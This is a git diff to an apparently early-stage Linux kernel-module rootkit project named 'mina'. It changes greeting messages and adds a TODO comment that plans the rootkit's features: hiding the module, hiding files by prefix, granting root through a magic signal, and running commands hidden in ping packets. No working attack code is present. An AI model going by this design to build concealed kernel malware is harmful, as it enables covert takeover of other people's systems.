diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -13,6 +13,8 @@ MINA_CLIENT_ID = meow
obj-m := mina_$(MINA_CLIENT_ID).o
mina_$(MINA_CLIENT_ID)-objs := mina.o
+# TODO(djnn): add compile-time debug mode using macros
+
compile: ## compiles the rootkit
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
rm -f *.order *.symvers *.mod *.mod.c *.o .mina* .Module* .module*
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -9,19 +9,32 @@ MODULE_VERSION("0.0.1");
/*
- * mina.ko/rootkit => tiny LKM rootkit spyware thing based
+ * mina.ko/rootkit => tiny LKM rootkit spyware thing loosely based
* on ngn (https://ngn.tf)'s shrk: https://github.com/ngn13/shrk
* written by djnn (https://djnn.sh)
*/
static int __init module_start(void) {
- printk(KERN_INFO "Hello, World!\n");
+ printk(KERN_INFO "meow ~\n");
+
+ /*
+ TODO(djnn):
+
+ - remove module from module list & hide it
+ - execute:
+ * Sending a signal 1312(to any pid) makes the module become (in)visible;
+ * Sending a signal 6969(to any pid) makes the given user become root;
+ * Files or directories starting with the MAGIC_PREFIX become invisble;
+ * Possibility to execute commands by pinging the machine with MAGIC_PREFIX in data field
+
+ */
+
return 0;
}
static void __exit module_end(void) {
- printk(KERN_INFO "Goodbye, World!\n");
+ printk(KERN_INFO "meow meow\n");
}
module_init(module_start);
| |